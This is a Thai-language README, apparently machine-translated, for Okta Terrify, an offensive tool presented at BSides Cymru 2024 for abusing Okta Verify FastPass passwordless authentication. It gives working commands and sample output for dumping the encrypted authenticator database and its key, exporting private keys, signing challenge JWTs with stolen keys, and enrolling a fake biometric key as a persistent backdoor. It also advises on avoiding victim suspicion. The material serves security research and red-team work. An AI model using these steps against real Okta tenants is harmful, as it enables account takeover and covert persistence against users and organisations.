เครื่องมือนี้เผยแพร่โดยเป็นส่วนหนึ่งของการพูดคุย Bsides Cymru 2024 ของฉัน Okta Terrify: Persistence in a Passwordless World ชุดการนำเสนอและวิดีโอสาธิตรวมอยู่ในพื้นที่เก็บข้อมูลนี้แล้ว
Okta Terrify เป็นเครื่องมือที่แสดงให้เห็นว่าโซลูชันที่ไม่ต้องใช้รหัสผ่าน เช่น FastPass ของ Okta Verify หรือโซลูชันประเภท FIDO2/WebAuthn อื่นๆ สามารถถูกนำไปใช้ในทางที่ผิดได้อย่างไรเมื่อจุดสิ้นสุดของตัวตรวจสอบความถูกต้องถูกบุกรุก แม้ว่า Okta Terrify จะแสดงการโจมตีเฉพาะของ Okta แต่โดยทั่วไปแล้ววิธีการเดียวกันนี้จะนำไปใช้กับโซลูชันที่ไม่ต้องใช้รหัสผ่านอื่นๆ เนื่องจากโดยทั่วไปแล้วโซลูชันเหล่านี้จะใช้ประโยชน์จากการเข้ารหัสแบบไม่สมมาตร
การรับรองความถูกต้องแบบไม่ใช้รหัสผ่านทำงานผ่านคู่คีย์สาธารณะ/ส่วนตัว โดยทั่วไปแล้ว จะมีคีย์สองประเภทที่สร้างขึ้นระหว่างการลงทะเบียนตัวตรวจสอบสิทธิ์ ได้แก่ Proof Of Possession
และ User Verification
เมื่อรวมกันแล้ว คีย์ทั้งสองจะตอบสนององค์ประกอบหลายปัจจัยของการรับรองความถูกต้องที่องค์กรมุ่งมั่นให้เป็นส่วนหนึ่งของความพยายามอย่างต่อเนื่องในการปกป้องผู้ใช้ของตน
รหัสพิสูจน์การครอบครองได้รับการออกแบบมาเพื่อทำเช่นนั้น เพื่อพิสูจน์ว่ามีผู้ตรวจสอบสิทธิ์และ/หรือผู้ใช้เฉพาะในระหว่างการตรวจสอบสิทธิ์ ในกรณีของ Okta คีย์พิสูจน์การครอบครองใช้เพื่อระบุการมีอยู่ของทั้งผู้รับรองความถูกต้องและผู้ใช้ เนื่องจากในสถานการณ์ที่มีผู้ใช้หลายราย คีย์พิสูจน์การครอบครองที่ไม่ซ้ำกันจะถูกสร้างขึ้นต่อผู้ใช้ โดยทั่วไปคีย์พิสูจน์การครอบครองจะเป็นคีย์เงียบ ซึ่งไม่ต้องใช้ข้อมูลไบโอเมตริกซ์ในรูปแบบใดๆ เพื่อปลดล็อกการใช้งานที่นอกเหนือไปจากระบบปฏิบัติการ เช่น เซสชันผู้ใช้ Windows ที่ได้รับการรับรองความถูกต้อง เมื่อพร้อมใช้งาน คีย์นี้จะได้รับการสนับสนุนจาก TPM ดังนั้นจึงไม่สามารถส่งออกจากอุปกรณ์ได้ เมื่อ TPM ไม่พร้อมใช้งาน คีย์นี้จะถูกสร้างขึ้นเป็นคีย์ซอฟต์แวร์เท่านั้น
คีย์การยืนยันผู้ใช้ยังแสดงหลักฐานการครอบครอง แต่ยังยืนยันเพิ่มเติมว่าผู้ใช้ทราบจริงๆ ว่ากำลังมีการตรวจสอบสิทธิ์ ซึ่งสามารถทำได้ผ่านข้อมูลไบโอเมตริกซ์ ซึ่งมักเป็นลายนิ้วมือหรือการจดจำใบหน้า แต่ยังได้รับการสำรองข้อมูลด้วย PIN อีกด้วย บนอุปกรณ์ที่ใช้ Windows โดยทั่วไปจะดำเนินการนี้โดยใช้ Windows Hello การดำเนินการลงนามจะไม่ทำงานหากไม่มีข้อมูลไบโอเมตริกซ์ที่ถูกต้อง โซลูชันที่ไม่ต้องใช้รหัสผ่านบางอย่างจะใช้เพียงคีย์การยืนยันผู้ใช้เพื่อตอบสนองทั้งสองปัจจัย ข้อเสียเปรียบของแนวทางนี้คือการดำเนินการลงนามทุกครั้งจะต้องมีข้อมูลไบโอเมตริกซ์ของผู้ใช้ ในกรณีของ Okta เช่น คีย์พิสูจน์การครอบครองสามารถใช้เป็นปัจจัยที่แตกต่างระหว่างการตรวจสอบสิทธิ์ร่วมกับปัจจัย septate เช่น รหัสผ่านของผู้ใช้ ขอย้ำอีกครั้งว่าคีย์นี้ได้รับการสนับสนุนโดย TPM เมื่อพร้อมใช้งานหรือสร้างขึ้นในซอฟต์แวร์หากไม่มี
โอเค พื้นหลังนี้ไม่ใช้รหัสผ่านมามากพอแล้ว เรามาเข้าเรื่องดีๆ กันดีกว่า แม้ว่าอุปกรณ์ Okta Verify ที่รองรับทั้งหมดจะมีแนวคิดเดียวกันนี้ แต่จากนี้ไปเราจะพูดถึงฟังก์ชัน Okta Verify เวอร์ชัน Windows กัน
Okta เก็บข้อมูลตัวตรวจสอบความถูกต้องภายในฐานข้อมูล SQLite ที่เข้ารหัส มีฐานข้อมูลสองเวอร์ชันที่แตกต่างกัน ซึ่งเป็นเวอร์ชันดั้งเดิมที่จัดเก็บไว้ในไฟล์ที่เรียกว่า OVStore.db
ซึ่งใช้ SID ของผู้ใช้เป็นพื้นฐานของคีย์การเข้ารหัสที่ส่งผ่านอัลกอริธึม XOR แบบกำหนดเองและคีย์คงที่ เวอร์ชันที่ใหม่กว่าเรียกว่า DataStore.db
และใช้ค่าสุ่มที่จัดเก็บไว้ในตัวจัดการข้อมูลรับรอง ข้อมูลรับรองนี้ถูกส่งผ่านอัลกอริธึม XOR ที่คล้ายกันกับรูปแบบเดิม ฐานข้อมูลถูกเก็บไว้ที่ %LocalAppData%OktaOktaVerify
ฐานข้อมูลประกอบด้วยรหัสคีย์ที่สร้างขึ้นสำหรับทั้งหลักฐานการครอบครองและรหัสยืนยันผู้ใช้ซึ่งสร้างขึ้นระหว่างการลงทะเบียนอุปกรณ์ ฐานข้อมูลยังมีข้อมูลเมตาที่เป็นประโยชน์อื่นๆ เช่น ID อุปกรณ์ ผู้ใช้ และตัวตรวจสอบความถูกต้อง พร้อมด้วย URL ผู้เช่า Okta สำหรับบัญชีที่ลงทะเบียน
Okta Terrify แบ่งออกเป็นสององค์ประกอบที่แตกต่างกัน Okta Terrify และ OktaInk
Okta Terrify ได้รับการออกแบบมาเพื่อทำงานบนเครื่องของผู้โจมตี เครื่องมือนี้ต้องการผู้ใช้ SID และไฟล์ฐานข้อมูลที่มีรูปแบบฐานข้อมูลแบบเดิม และคีย์ฐานข้อมูลสำหรับรูปแบบที่ใหม่กว่า สำหรับรูปแบบที่ใหม่กว่า สามารถสร้างคีย์ฐานข้อมูลได้โดยใช้ OktaInk Okta Terrify มีโหมดการทำงาน 4 โหมดที่ควบคุมผ่านสวิตช์ต่างๆ
โหมด --info
จะทิ้งข้อมูลที่มีอยู่ในฐานข้อมูล
ฐานข้อมูลเดิม
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
ฐานข้อมูลที่ใหม่กว่า
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
ในโหมด --backdoor
นั้น Okta Terrify จะเปิดตัว Okta URL ของผู้เช่าโดยใช้รหัสไคลเอ็นต์ OAuth ที่แอปพลิเคชัน Okta Verify อย่างเป็นทางการใช้ระหว่างการลงทะเบียน โดยทั่วไปการดำเนินการนี้จะทริกเกอร์ขั้นตอนการตรวจสอบสิทธิ์และโหมดการลงนามจะทำงานในระหว่างระยะนี้ เมื่อสร้างเซสชันการตรวจสอบสิทธิ์แล้ว คีย์การตรวจสอบผู้ใช้ใหม่จะถูกสร้างขึ้นบนอุปกรณ์ที่ถูกโจมตีและลงทะเบียนเป็นคีย์ไบโอเมตริกปลอม เมื่อลงทะเบียนคีย์แล้ว FastPass จะทำงานในสถานะไร้รหัสผ่านโดยไม่ต้องพึ่งพาอุปกรณ์ตรวจสอบสิทธิ์เดิมที่ถูกบุกรุก
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
ในโหมด --sign
ในระหว่างการตรวจสอบสิทธิ์ Okta ความท้าทายต่างๆ จะถูกลงนามในเครื่องผ่านคีย์ที่ถูกกรอง หรืออาจส่งพร็อกซีไปยัง OktaInk ที่ทำงานบนตัวตรวจสอบสิทธิ์ที่ถูกบุกรุกเมื่อมีคีย์ที่สนับสนุนฮาร์ดแวร์อยู่
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
โหมด --import
จะบันทึกหลักฐานการครอบครองที่กำหนดโดยซอฟต์แวร์และคีย์การตรวจสอบผู้ใช้ที่ดึงออกมาโดยใช้ Okta Ink
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink ได้รับการออกแบบมาเพื่อทำงานบนอุปกรณ์ตรวจสอบความถูกต้องที่ถูกบุกรุก แอปพลิเคชั่นรองรับการทำงาน 4 ประเภท
สำหรับรูปแบบฐานข้อมูลที่ใหม่กว่า --operation DumpDBKey
สามารถใช้เพื่อดัมพ์คีย์ฐานข้อมูลสำหรับไฟล์ DataStore.db
จากนั้นคีย์จะสามารถใช้เป็นพารามิเตอร์สำหรับ OkaInk ได้
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
ในระหว่างขั้นตอนการตรวจสอบสิทธิ์ Okta จะมีการสร้างการตอบสนองที่ท้าทาย JWT เพื่อพิสูจน์ว่ามีหลักฐานการแสดงตนหรือคีย์การตรวจสอบผู้ใช้ โหมด --operation SignDeviceBind
สามารถใช้เพื่อลงนาม JWT ที่สร้างขึ้นด้วยรหัสพิสูจน์การครอบครองซึ่งจะเงียบ หากคุณต้องการดำเนินการตรวจสอบสิทธิ์แบบไม่ใช้รหัสผ่าน คุณสามารถลงนามด้วยคีย์การตรวจสอบผู้ใช้โดยเพิ่มอาร์กิวเมนต์ -v
คำเตือน - เมื่อขอคีย์การยืนยันผู้ใช้ ผู้ใช้ที่เป็นเหยื่อจะต้องดำเนินการตรวจสอบความถูกต้องทางชีวภาพ และอาจเพิ่มความสงสัยได้
Okta Verify ยังลงทะเบียนคีย์รับรองอุปกรณ์ซึ่งเป็นคีย์เงียบอีกด้วย ดูเหมือนว่าคีย์นี้จะถูกใช้เมื่อมีการเปลี่ยนแปลงกับอุปกรณ์ตรวจสอบสิทธิ์ที่ลงทะเบียนผ่านการเรียก API ของเว็บกับผู้เช่า Okta แต่ดูเหมือนว่าตามค่าเริ่มต้นแล้ว การรับรองอุปกรณ์จะไม่บังคับใช้ ดังนั้นจึงไม่จำเป็นต้องลงนาม ไม่ว่าโหมดนี้สามารถใช้ประโยชน์ได้ผ่านทางอาร์กิวเมนต์ --operation SignDeviceAttestation
สำหรับอุปกรณ์ที่ไม่รองรับ TPM บรรทัดคำสั่ง --operation ExportPrivate
สามารถใช้เพื่อส่งออกคีย์ทั้งหมดที่ลงทะเบียนบนอุปกรณ์ได้ คีย์หลักฐานการครอบครองจะเชื่อมโยงกับคีย์ DPAPI ของผู้ใช้ ดังนั้นจึงต้องทราบรหัสผ่านของผู้ใช้
ในระหว่างขั้นตอนการลงทะเบียนลับๆ เราจำเป็นต้องตรวจสอบให้แน่ใจว่าคีย์สาธารณะที่มีอยู่นั้นถูกเก็บรักษาไว้ในข้อมูลผู้ตรวจสอบสิทธิ์ของผู้เช่า --operation ExportPublic
ช่วยอำนวยความสะดวกในเรื่องนี้ด้วยการส่งออกคีย์สาธารณะที่เกี่ยวข้องกับรหัสคีย์เฉพาะ
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....